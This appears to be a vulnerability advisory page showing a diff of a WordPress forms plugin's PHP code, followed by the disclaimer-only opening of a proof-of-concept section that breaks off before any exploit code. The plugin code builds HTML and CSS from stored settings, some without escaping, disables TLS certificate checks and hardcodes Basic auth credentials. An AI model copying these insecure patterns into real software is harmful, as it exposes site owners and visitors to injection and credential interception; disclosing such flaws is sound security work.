-        $captchablock =   '<div style="display: ' . $captchadisplay . ';justify-content: center;" class="g-recaptcha" data-callback="enablesubmit_'.$formsettingsarray[0].'" data-sitekey="' .
-            $formsettingsarray[12][0] . '"  data-theme="' . $formsettingsarray[12][3] . '" data-size ="' . $formsettingsarray[12][2] . '" data-expired-callback="disablesubmit_'.$formsettingsarray[0].'"> </div>';
-        $formhtml = str_replace('<cbforms<captchablock>cbforms>', $captchablock, $formhtml);
-        $formhtml = str_replace('<cbforms<disablesubmit>cbforms>', 'jQuery("#submit-'.$formsettingsarray[0].'").prop("disabled",true);', $formhtml);
-    } else {
-        $formhtml = str_replace('<cbforms<captchablock>cbforms>', '', $formhtml);
-        $formhtml = str_replace('<cbforms<disablesubmit>cbforms>', '', $formhtml);
-    }
-
-    $settingsreplace = '';
-    if ($formsettingsarray[3] == '') {
-        $formwidth = '100%';
-    } else {
-        $formwidth = $formsettingsarray[3] . 'px';
-    }
-    $settingsreplace = $settingsreplace .
-        '.cbforms .' . $formsettingsarray[0] . '.formwrapper { max-width: ' . $formwidth . ';';
-    $settingsreplace = $settingsreplace . ' margin:0 auto; display:flex; flex-direction:column; width:' .  $formsettingsarray[2] . ';}';
-    $settingsreplace = $settingsreplace .   '.cbforms:has(.' . $formsettingsarray[0] . '){ max-width: ' . $formwidth . ';';
-    if ($formsettingsarray[17] == 'left') {
-        $settingsreplace  = $settingsreplace . ' margin: 0 auto 0 0 !important; ';
-    } elseif ($formsettingsarray[17] == 'center') {
-        $settingsreplace  = $settingsreplace . ' margin: 0 auto  !important; ';
-    } elseif ($formsettingsarray[17] == 'right') {
-        $settingsreplace  = $settingsreplace . ' margin: 0  0 0 auto  !important; ';
-    }
-    $settingsreplace  = $settingsreplace . ' } ' .
-        '#edittab .formwrapper.' . $formsettingsarray[0] . '{';
-    if ($formsettingsarray[17] == 'left') {
-        $settingsreplace  = $settingsreplace . ' margin: 0 auto 0 0 !important; ';
-    } elseif ($formsettingsarray[17] == 'center') {
-        $settingsreplace  = $settingsreplace . ' margin: 0 auto  !important; ';
-    } elseif ($formsettingsarray[17] == 'right') {
-        $settingsreplace  = $settingsreplace . ' margin: 0  0 0 auto  !important; ';
-    }
-    $settingsreplace  = $settingsreplace . ' } ' .
-        ' .optionpagewrapper.cbforms {margin:auto !important; max-width:98%;}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewformbox{ width:100%; /* padding: 20px 20px 50px; */ ';
-    if ($formsettingsarray[9][3] != 'contain') {
-        $settingsreplace  = $settingsreplace  . ' padding:0 0 10px 0;';
-        $formsettingsarray[9][3] = 'cover';
-    }
-
-    $settingsreplace  = $settingsreplace . ' background-color: ' . $formsettingsarray[11][0] . ';';
-
-    if ($formsettingsarray[1][0] == true) {
-        $settingsreplace  = $settingsreplace  . ' box-shadow: 1px 1px 10px 1px #33333350;';
-    }
-
-    $settingsreplace  = $settingsreplace . ' margin:auto; color: ' .   $formsettingsarray[11][2] . '; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewbannerdesktop{ ' .
-        'background-image: url("' . $formsettingsarray[9][0] . '");' .
-        'width: 100%;' .
-        'height: ' . $formsettingsarray[9][5] . 'px;' .
-        'background-repeat: no-repeat;' .
-        'background-size: ' . $formsettingsarray[9][3] . ' ;' .
-        'background-position: center 30%;' .
-        'margin-bottom:50px; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewbannertablet{' .
-        'background-image: url("' . $formsettingsarray[9][1] . '");' .
-        'width: 100%;' .
-        'height: 280px;' .
-        'background-repeat: no-repeat;' .
-        'background-size: ' . $formsettingsarray[9][3] . ';' .
-        'background-position: center 30%;' .
-        'margin-bottom:50px; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewbannermobile{' .
-        'background-image: url("' . $formsettingsarray[9][2] . '");' .
-        'width: 100%;' .
-        'height: 200px;' .
-        'background-repeat: no-repeat;' .
-        'background-size: ' . $formsettingsarray[9][3] . ';' .
-        'background-position: center 30%;' .
-        'margin-bottom:50px; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewformbox{' .
-        'background-image:  url("' . $formsettingsarray[9][4] . '"); ' .
-        'background-size: cover;' .
-        'background-position: left;' .
-        'background-repeat: no-repeat;}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitlewrapper{' .
-        'margin:10px auto;' .
-        'color: ' . $formsettingsarray[11][1] . ';}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitlewrapper :is(h1,h2,h3,h4,h5,h6){ ' .
-        'color: ' . $formsettingsarray[11][1] . ';}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitledescriptionwrapper{' .
-        'margin:10px auto 40px;;' .
-        'color: ' . $formsettingsarray[11][5] . ';' .
-        'padding: 0 10px; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitledescription {' .
-        'text-align: center;' .
-        'font-size: 1.2rem;}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .pageviewpage{' .
-        'max-width: 100%;' .
-        'margin:auto; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewrow:has(.hidden){' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewrow {' .
-        'display: flex;' .
-        'flex-wrap:wrap;' .
-        'align-items: flex-start;' .
-        'gap: 0px;' .
-        'flex: 1;' .
-        'width: 100%;' .
-        'margin: 15px auto;' .
-        'max-width: calc(100% - 100px); }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap :is(h1,h2,h3,h4,h5,h6){' .
-        'color: ' . $formsettingsarray[11][2] . '; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  a{' .
-        'color: ' . $formsettingsarray[11][2] . '; ' .
-        'outline-style: none;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap { ' .
-        'display: flex;' .
-        'flex-direction: column;' .
-        'min-height: 35px;' .
-        'flex: 1; } ;' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewlabel {' .
-        'width:auto;' .
-        'padding-right:10px;' .
-        'display:block; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewfieldwrap:has(.formviewheader) .formviewlabel { ' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewparagraph) .formviewlabel { ' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer) .formviewlabel { ' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer) .formviewdescription { ' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer)  { ' .
-        'min-height:10px;. }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer) .formviewfield { ' .
-        'min-height:10px; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewheader) .formviewdescription { ' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . ' .formviewfieldwrap:has(.verticalline) {' .
-        'align-self: stretch; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.verticalline) .formviewlabel{' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.verticalline) .formviewdescription{' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfield:has([type="verticalline"]) {' .
-        'justify-content: center;  }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfield .verticalline {' .
-        'min-height: 5px;' .
-        'background-color:' . $formsettingsarray[11][2] . ';' .
-        'height: 75%;' .
-        'margin: auto;' .
-        'padding:0; }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewfield .horizontalline {' .
-        'min-height: 1px;' .
-        'background-color:' . $formsettingsarray[11][2] . ';' .
-        'margin: auto; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewfield:has(.verticalline)  {' .
-        'min-height: 30px;' .
-        'padding:0 0 5px ; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewsubmitbtn{' .
-        'font-size: 20px;' .
-        'padding: 15px 30px;' .
-        'height: auto;' .
-        'margin-top: 50px;' .
-        'margin-bottom:30px;' .
-        'border-radius: 3px;' .
-        'background-color: ' . $formsettingsarray[11][3] . ';' .
-        'color:' . $formsettingsarray[11][4] . '; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewsubmitbtn:hover{' .
-        'cursor: pointer;' .
-        'background-color: var(--cbf-dark-grey);' .
-        'color:#f4f4f4;' .
-        '} ' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewsubmitbutton{' .
-        'display: flex;' .
-        'justify-content: center; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewcheckbox {' .
-        'display:flex; }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewcurrency{' .
-        'display:flex;' .
-        'padding:0;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewcurrency .currencysymbol{' .
-        'max-width:1rem;' .
-        'padding: 0;' .
-        'margin: auto; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewcheckbox{' .
-        'margin: 5px auto; align-items:center;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .cbforms-textlocation-top .formviewcheckbox{' .
-        'margin: 5px auto; align-items:flex-start;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .cbforms-textlocation-bottom .formviewcheckbox{' .
-        'margin: 5px auto; align-items:flex-start;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewcheckbox label{' .
-        'text-align:left;' .
-        'display: contents;' .
-        'align-items: center;' .
-        'margin:0; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewcheckbox input{' .
-        'flex: 0 0 1rem;' .
-        'margin:0 8px ;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewradiooption {' .
-        'display:flex; align-items:center;}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .cbforms-textlocation-top  .formviewradiooption {' .
-        'display:flex; align-items:flex-start;}' .
-        '.cbforms .' . $formsettingsarray[0] . ' .cbforms-textlocation-bottom  .formviewradiooption {' .
-        'display:flex; align-items:flex-start;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewradiooption{' .
-        'margin: 5px auto; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewradiooption label{' .
-        'text-align:left;' .
-        'display: contents;' .
-        'align-items: center;' .
-        'margin:0 ;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewradiooption input{' .
-        'flex: 0 0 1rem;' .
-        'margin:0 8px   ; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewpagecontrols{' .
-        'display:flex;' .
-        'margin:0px auto 50px;' .
-        'justify-content:space-between;' .
-        '}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewpagecontrolsfinal{' .
-        'display:flex;' .
-        'margin:75px auto 50px;}' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewmoveprevious{' .
-        'text-align:left;' .
-        'flex:1;' .
-        'display: flex;' .
-        'justify-content: start;' .
-        'align-items: center;' .
-        'outline-style: none;' .
-        'margin-left:30px; }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewmoveprevious:hover{' .
-        'cursor:pointer;   }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewmovenext{' .
-        'text-align:right;' .
-        'flex:1;' .
-        'display: flex;' .
-        'justify-content: end;' .
-        'align-items: center;' .
-        'outline-style: none;' .
-        'margin-right:30px;    }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewmovenext:hover{' .
-        'cursor:pointer;    }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewlabel, .formviewdescription{' .
-        'white-space: normal;  }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .fieldrequiredastrisk{' .
-        'font-size:.7rem;' .
-        'width:1rem;  }' .
-        ' @media(min-width:1201px){' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewbannerdesktop{' .
-        'height:' . $formsettingsarray[9][5] . 'px;       }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewbannertablet{' .
-        'display:none;   }' .
-        '.cbforms .' . $formsettingsarray[0] . '    .formviewbannermobile{' .
-        'display:none;      }}' .
-        ' @media(max-width:1200px){' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewbannerdesktop{' .
-        'display:none; }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewbannertablet{' .
-        'height:280px;   }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewbannermobile{' .
-        'display:none;   }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewrow {' .
-        'max-width: calc(100% - 10px); }}' .
-        ' @media (max-width: 768px) {' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewbannerdesktop{' .
-        'display:none;  }'  .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewbannertablet{' .
-        ' display:none; }'  .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewbannermobile{' .
-        'height:200px; display:inherit; }'  .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewfieldwrap {' .
-        'max-width: calc(100% - 10px);!important;' .
-        'min-width: calc(100% - 10px); !important;   }' .
-        '.cbforms .' . $formsettingsarray[0] . '  .formviewformbox {' .
-        'padding: 5px;  }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .formviewrow {' .
-        'width: 100%;' .
-        'max-width: calc(100% - 10px);' .
-        'flex-wrap: wrap; }' .
-        '.cbforms .' . $formsettingsarray[0] . '   .pageviewpage{' .
-        ' max-width: calc(100% - 0px);   }}';
-
-
-    $settingsreplace = $settingsreplace . '  ' .  htmlspecialchars($formsettingsarray[10][3], ENT_QUOTES, 'UTF-8') . ' ;';
-    $formhtml = str_replace('<cbforms<formsettings style>cbforms>', $settingsreplace, $formhtml);
-    return true;
-}
-
-
-function cbforms_stripslashes($jsonstring)
-{
-    if (substr_count($jsonstring, '"') == substr_count($jsonstring, '"')) {
-        return $jsonstring;
-    }
-    return  $jsonstring;
-}
-
-
-function cbforms_delete_uploaded_files($entryid)
-{
-    global $table_prefix, $wpdb;
-    $tablename1 = $table_prefix . 'cbforms_entries';
-    $loadefiles =   $wpdb->get_var($wpdb->prepare("select loaded_files from {$tablename1} where id = %d limit 1",$entryid));
-    $loadedfiles = json_decode(cbforms_stripslashes($loadefiles), true);
-    foreach ($loadedfiles as $loadedfile) {
-        foreach ($loadedfile['full_path'] as $filetodelete) {
-            $filetodelete = str_replace(wp_upload_dir()['baseurl'] , wp_upload_dir()['basedir'] , $filetodelete);
-            wp_delete_file($filetodelete);
-        }
-    }
-}
-
-function cbforms_sanitize_array( &$item , $key ){
- $item=wp_kses_post($item);
+<?php
+
+   if ( ! defined( 'ABSPATH' ) ) exit;
+
+
+
+function cbforms_getpluginstatus($userid, $sitekey, &$dashboardtext)
+
+{
+
+
+
+    if (substr($sitekey, 0, 5) == 'cbfp-') {
+
+        $dashboardtext = '';
+
+        return true;
+
+    } else {
+
+
+
+        $dashboardtext = 'notconnected';
+
+    }
+
+    return false;
+
+}
+
+
+
+function cbforms_addupdateoption($option, $value)
+
+{
+
+    $status = update_option($option,$value);
+
+    return $status;
+
+}
+
+
+
+function cbforms_getoption($option, $default)
+
+{
+
+    $value = get_option($option, $default);
+
+    return $value;
+
+}
+
+
+
+
+
+function cbforms_deleteoption($option)
+
+{
+
+
+
+    $status = delete_option($option);
+
+    return $status;
+
+}
+
+
+
+
+
+
+
+function cbforms_CallAPI(  $method ,$url, $data,&$headers, &$body ) {
+
+    $args = [
+
+        'timeout'     => 20, // Adjust timeout if needed
+
+        'redirection' => 5,
+
+        'blocking'    => true,
+
+        'sslverify'   => false, // Set to true for better security
+
+        'httpversion' => '1.1',
+
+        'headers'     => [
+
+            'Authorization' => 'Basic ' . base64_encode( 'username1:password1' ),
+
+            'Origin'        => esc_url( site_url() ), // Ensuring the Origin header is included
+
+        ],
+
+    ];
+
+
+
+    // If it's a POST request, include the body data
+
+    if ( strtoupper( $method ) === 'POST' ) {
+
+        $args['method'] = 'POST';
+
+        if ( $data ) {
+
+            $args['body'] = $data;
+
+        }
+
+    }
+
+
+
+    // Use wp_remote_get() for GET, wp_remote_post() for POST
+
+    $response = ( strtoupper( $method ) === 'POST' )
+
+        ? wp_remote_post( $url, $args )
+
+        : wp_remote_get( $url, $args );
+
+
+
+    if ( is_wp_error( $response ) ) {
+
+        return false;
+
+    }
+
+
+
+    // Get headers and body separately
+
+    $headers = wp_remote_retrieve_headers( $response );
+
+    $body = wp_remote_retrieve_body( $response );
+
+
+
+    return [
+
+        'headers' => $headers,
+
+        'body'    => $body,
+
+    ];
+
+
+
+
+
+}
+
+
+
+
+
+
+
+
+
+function cbforms_import_form($formid, &$formmeta)
+
+{
+
+
+
+
+
+    $url = "https://wp.chatterbugforms.com/wp/getwpformhtml.php";
+
+    cbforms_get_sitekey_from_db($apikey);
+
+    cbforms_get_userid_from_db($userid);
+
+    $timestamp = time();
+
+    $data = array('formid' => $formid, 'apikey' => $apikey, 'userid' => $userid, 'site' => esc_url(get_site_url()), 'time'=>$timestamp);
+
+
+
+
+
+    $results = cbforms_CallAPI('POST', $url, $data, $headerstr, $bodystr);
+
+    $formmeta = json_decode(cbforms_stripslashes($bodystr), true);
+
+    if (is_array($formmeta)) {
+
+        if ($formmeta['status'] == 'completed') {
+
+            return true;
+
+        }
+
+    }
+
+    return false;
+
+}
+
+
+
+
+
+function cbforms_get_apikey($userid, $pwd, &$apikey = '')
+
+{
+
+
+
+    $url = "https://wp.chatterbugforms.com/wp/getwpapikey.php";
+
+
+
+    $data = array('userid' => $userid, 'pwd' => $pwd, 'siteurl' => esc_url(get_site_url()), 'action' => 'getcbfpluginsitekey');
+
+    $results = cbforms_CallAPI('POST', $url, $data, $headerstr, $bodystr);
+
+    $result = json_decode(cbforms_stripslashes($bodystr), true);
+
+    if (is_array($result)) {
+
+        $apikey = $result['apikey'];
+
+        if ($result['status'] == 'completed') {
+
+            return true;
+
+        }
+
+    }
+
+    return false;
+
+}
+
+
+
+function cbforms_get_sitekey_from_db(&$apikey)
+
+{
+
+
+
+    $apikey = cbforms_getoption('cbforms-sitekey', 'Invalid Key - please connect to WP.ChatterbugForms.com');
+
+}
+
+
+
+
+
+function cbforms_get_userid_from_db(&$userid)
+
+{
+
+
+
+    $userid = cbforms_getoption('cbforms-userid', 'Invalid user id');
+
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+function cbforms_generateformhtml(&$formsettingsarray, &$formhtml)
+
+{
+
+
+
+
+
+
+
+    $formhtml = str_replace('cbf-form-classes', wp_kses_post($formsettingsarray[10][2]), $formhtml);
+
+
+
+
+
+    $settingsreplace = '';
+
+    if ($formsettingsarray[9][5] == '') {
+
+        $formsettingsarray[9][5] = '350';
+
+    }
+
+    if ($formsettingsarray[9][0] != '') {
+
+        $settingsreplace =  $settingsreplace . '<div class="formviewbannerdesktop"></div>';
+
+    }
+
+    if ($formsettingsarray[9][1] != '') {
+
+        $settingsreplace =  $settingsreplace . '<div class="formviewbannertablet"></div>';
+
+    }
+
+    if ($formsettingsarray[9][2] != '') {
+
+        $settingsreplace =  $settingsreplace . '<div class="formviewbannermobile"></div>';
+
+    }
+
+    $formhtml = str_replace('<cbforms<settingsarray-9.*>cbforms>', $settingsreplace, $formhtml);
+
+
+
+
+
+    $settingsreplace = '';
+
+    $settingsreplace =  $settingsreplace . '<div class="formviewtitlewrapper"><div class="formviewtitle"><' . htmlspecialchars($formsettingsarray[10][4], ENT_QUOTES, 'UTF-8') . '>' . htmlspecialchars($formsettingsarray[10][0], ENT_QUOTES, 'UTF-8') . '</' . htmlspecialchars($formsettingsarray[10][4], ENT_QUOTES, 'UTF-8') . '></div></div>';
+
+    if ($formsettingsarray[10][1] != '') {
+
+        $settingsreplace =  $settingsreplace . '<div class="formviewtitledescriptionwrapper"><div class="formviewtitledescription"><p>' . htmlspecialchars($formsettingsarray[10][1], ENT_QUOTES, 'UTF-8') . '</p></div></div>';
+
+    }
+
+    $formhtml = str_replace('<cbforms<settingsarray-10.*>cbforms>', $settingsreplace, $formhtml);
+
+
+
+
+
+    $globalsettings = cbforms_getoption('cbforms-globalsettings', '{}');
+
+    $globalsettingsarray = json_decode(cbforms_stripslashes($globalsettings), true);
+
+    $formsettingsarray[12][0] = $globalsettingsarray[1][0];
+
+    $formsettingsarray[12][1] = $globalsettingsarray[1][1];
+
+
+
+    if ($formsettingsarray[12][4] == 'yes') {
+
+        $captchadisplay = 'flex';
+
+
+
+        $captchablock =   '<div style="display: ' . $captchadisplay . ';justify-content: center;" class="g-recaptcha" data-callback="enablesubmit_'.$formsettingsarray[0].'" data-sitekey="' .
+
+            $formsettingsarray[12][0] . '"  data-theme="' . $formsettingsarray[12][3] . '" data-size ="' . $formsettingsarray[12][2] . '" data-expired-callback="disablesubmit_'.$formsettingsarray[0].'"> </div>';
+
+        $formhtml = str_replace('<cbforms<captchablock>cbforms>', $captchablock, $formhtml);
+
+        $formhtml = str_replace('<cbforms<disablesubmit>cbforms>', 'jQuery("#submit-'.$formsettingsarray[0].'").prop("disabled",true);', $formhtml);
+
+    } else {
+
+        $formhtml = str_replace('<cbforms<captchablock>cbforms>', '', $formhtml);
+
+        $formhtml = str_replace('<cbforms<disablesubmit>cbforms>', '', $formhtml);
+
+    }
+
+
+
+    $settingsreplace = '';
+
+    if ($formsettingsarray[3] == '') {
+
+        $formwidth = '100%';
+
+    } else {
+
+        $formwidth = $formsettingsarray[3] . 'px';
+
+    }
+
+    $settingsreplace = $settingsreplace .
+
+        '.cbforms .' . $formsettingsarray[0] . '.formwrapper { max-width: ' . $formwidth . ';';
+
+    $settingsreplace = $settingsreplace . ' margin:0 auto; display:flex; flex-direction:column; width:' .  $formsettingsarray[2] . ';}';
+
+    $settingsreplace = $settingsreplace .   '.cbforms:has(.' . $formsettingsarray[0] . '){ max-width: ' . $formwidth . ';';
+
+    if ($formsettingsarray[17] == 'left') {
+
+        $settingsreplace  = $settingsreplace . ' margin: 0 auto 0 0 !important; ';
+
+    } elseif ($formsettingsarray[17] == 'center') {
+
+        $settingsreplace  = $settingsreplace . ' margin: 0 auto  !important; ';
+
+    } elseif ($formsettingsarray[17] == 'right') {
+
+        $settingsreplace  = $settingsreplace . ' margin: 0  0 0 auto  !important; ';
+
+    }
+
+    $settingsreplace  = $settingsreplace . ' } ' .
+
+        '#edittab .formwrapper.' . $formsettingsarray[0] . '{';
+
+    if ($formsettingsarray[17] == 'left') {
+
+        $settingsreplace  = $settingsreplace . ' margin: 0 auto 0 0 !important; ';
+
+    } elseif ($formsettingsarray[17] == 'center') {
+
+        $settingsreplace  = $settingsreplace . ' margin: 0 auto  !important; ';
+
+    } elseif ($formsettingsarray[17] == 'right') {
+
+        $settingsreplace  = $settingsreplace . ' margin: 0  0 0 auto  !important; ';
+
+    }
+
+    $settingsreplace  = $settingsreplace . ' } ' .
+
+        ' .optionpagewrapper.cbforms {margin:auto !important; max-width:98%;}' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewformbox{ width:100%; /* padding: 20px 20px 50px; */ ';
+
+    if ($formsettingsarray[9][3] != 'contain') {
+
+        $settingsreplace  = $settingsreplace  . ' padding:0 0 10px 0;';
+
+        $formsettingsarray[9][3] = 'cover';
+
+    }
+
+
+
+    $settingsreplace  = $settingsreplace . ' background-color: ' . $formsettingsarray[11][0] . ';';
+
+
+
+    if ($formsettingsarray[1][0] == true) {
+
+        $settingsreplace  = $settingsreplace  . ' box-shadow: 1px 1px 10px 1px #33333350;';
+
+    }
+
+
+
+    $settingsreplace  = $settingsreplace . ' margin:auto; color: ' .   $formsettingsarray[11][2] . '; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewbannerdesktop{ ' .
+
+        'background-image: url("' . $formsettingsarray[9][0] . '");' .
+
+        'width: 100%;' .
+
+        'height: ' . $formsettingsarray[9][5] . 'px;' .
+
+        'background-repeat: no-repeat;' .
+
+        'background-size: ' . $formsettingsarray[9][3] . ' ;' .
+
+        'background-position: center 30%;' .
+
+        'margin-bottom:50px; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewbannertablet{' .
+
+        'background-image: url("' . $formsettingsarray[9][1] . '");' .
+
+        'width: 100%;' .
+
+        'height: 280px;' .
+
+        'background-repeat: no-repeat;' .
+
+        'background-size: ' . $formsettingsarray[9][3] . ';' .
+
+        'background-position: center 30%;' .
+
+        'margin-bottom:50px; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewbannermobile{' .
+
+        'background-image: url("' . $formsettingsarray[9][2] . '");' .
+
+        'width: 100%;' .
+
+        'height: 200px;' .
+
+        'background-repeat: no-repeat;' .
+
+        'background-size: ' . $formsettingsarray[9][3] . ';' .
+
+        'background-position: center 30%;' .
+
+        'margin-bottom:50px; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewformbox{' .
+
+        'background-image:  url("' . $formsettingsarray[9][4] . '"); ' .
+
+        'background-size: cover;' .
+
+        'background-position: left;' .
+
+        'background-repeat: no-repeat;}' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitlewrapper{' .
+
+        'margin:10px auto;' .
+
+        'color: ' . $formsettingsarray[11][1] . ';}' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitlewrapper :is(h1,h2,h3,h4,h5,h6){ ' .
+
+        'color: ' . $formsettingsarray[11][1] . ';}' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitledescriptionwrapper{' .
+
+        'margin:10px auto 40px;;' .
+
+        'color: ' . $formsettingsarray[11][5] . ';' .
+
+        'padding: 0 10px; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewtitledescription {' .
+
+        'text-align: center;' .
+
+        'font-size: 1.2rem;}' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .pageviewpage{' .
+
+        'max-width: 100%;' .
+
+        'margin:auto; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewrow:has(.hidden){' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewrow {' .
+
+        'display: flex;' .
+
+        'flex-wrap:wrap;' .
+
+        'align-items: flex-start;' .
+
+        'gap: 0px;' .
+
+        'flex: 1;' .
+
+        'width: 100%;' .
+
+        'margin: 15px auto;' .
+
+        'max-width: calc(100% - 100px); }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap :is(h1,h2,h3,h4,h5,h6){' .
+
+        'color: ' . $formsettingsarray[11][2] . '; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  a{' .
+
+        'color: ' . $formsettingsarray[11][2] . '; ' .
+
+        'outline-style: none;}' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap { ' .
+
+        'display: flex;' .
+
+        'flex-direction: column;' .
+
+        'min-height: 35px;' .
+
+        'flex: 1; } ;' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewlabel {' .
+
+        'width:auto;' .
+
+        'padding-right:10px;' .
+
+        'display:block; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewfieldwrap:has(.formviewheader) .formviewlabel { ' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewparagraph) .formviewlabel { ' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer) .formviewlabel { ' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer) .formviewdescription { ' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer)  { ' .
+
+        'min-height:10px;. }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewspacer) .formviewfield { ' .
+
+        'min-height:10px; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.formviewheader) .formviewdescription { ' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . ' .formviewfieldwrap:has(.verticalline) {' .
+
+        'align-self: stretch; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.verticalline) .formviewlabel{' .
+
+        'display:none; }' .
+
+        '.cbforms .' . $formsettingsarray[0] . '  .formviewfieldwrap:has(.v

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
